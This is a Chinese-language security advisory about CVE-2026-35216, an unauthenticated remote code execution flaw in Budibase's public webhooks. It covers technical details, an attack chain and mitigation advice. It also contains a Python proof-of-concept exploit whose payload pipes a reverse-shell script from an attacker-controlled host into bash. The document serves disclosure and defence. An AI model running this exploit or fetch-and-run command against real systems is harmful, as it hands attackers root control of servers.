IPBUF安全漏洞报告
English
CVE-2026-35216 CVSS 9.0 严重

CVE-2026-35216 Budibase 远程代码执行漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-35216
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Budibase

相关标签

RCE远程代码执行Budibase未授权访问Webhook严重漏洞Low-code

漏洞概述

Budibase是一个开源低代码平台。在3.33.4版本之前,由于公共Webhook端点的安全缺陷,未经身份验证的攻击者可以通过触发包含Bash步骤的自动化任务,在Budibase服务器上实现远程代码执行(RCE)。该漏洞利用无需任何用户交互或认证,且由于容器内进程以root权限运行,攻击者一旦成功利用将获得服务器最高控制权。该问题已在3.33.4版本中得到修复。

技术细节

该漏洞的根本原因在于Budibase对公共Webhook端点的访问控制存在缺陷。在受影响版本中,攻击者无需提供任何凭证即可访问特定的Webhook API端点。当攻击者向该端点发送精心构造的HTTP请求时,可以触发服务器端预定义的自动化工作流。如果该自动化工作流中包含“Bash步骤”或允许执行系统命令的操作,服务器将解析并执行攻击者注入的恶意命令。由于Docker容器内的Budibase服务通常以root用户身份运行,因此被触发的命令也将继承root权限。这使得攻击者能够完全控制容器环境,进而读取敏感数据、安装后门或横向移动到内网。攻击向量通过网络发起,攻击复杂度较低,无需用户交互即可造成机密性、完整性和可用性的全面破坏。

攻击链分析

STEP 1
侦察
攻击者发现目标网络中运行着未打补丁的Budibase实例(版本 < 3.33.4),并识别出开放的Webhook端点。
STEP 2
武器化
攻击者准备恶意的Bash命令(如反弹Shell),并将其封装在符合Webhook触发要求的JSON数据包中。
STEP 3
投递
攻击者直接向Budibase的公共Webhook URL发送包含恶意负载的HTTP POST请求,无需进行身份验证。
STEP 4
利用
服务器端接收请求,触发自动化工作流,并将攻击者提供的数据传递给Bash步骤执行。
STEP 5
安装与控制
恶意命令以root权限在容器内执行,攻击者获得服务器控制权,可建立后门或窃取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: CVE-2026-35216 - Budibase Unauthenticated RCE # Description: Triggers a bash automation via public webhook # Target: Budibase < 3.33.4 target_url = "http://target-budibase-instance/webhooks/trigger_automation_id" # Payload assuming the automation passes input to a bash script malicious_command = "curl http://attacker-controlled-server/rev_shell.sh | bash" payload = { "values": { "step_input": malicious_command } } try: print("[*] Sending exploit payload to Budibase webhook...") response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Payload sent successfully. Check your listener.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Budibase < 3.33.4

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或反向代理层面阻断对/api/public/webhooks等相关路径的外部访问,或通过IP白名单限制访问来源。同时,检查现有自动化任务,确保没有包含可被恶意利用的Bash操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表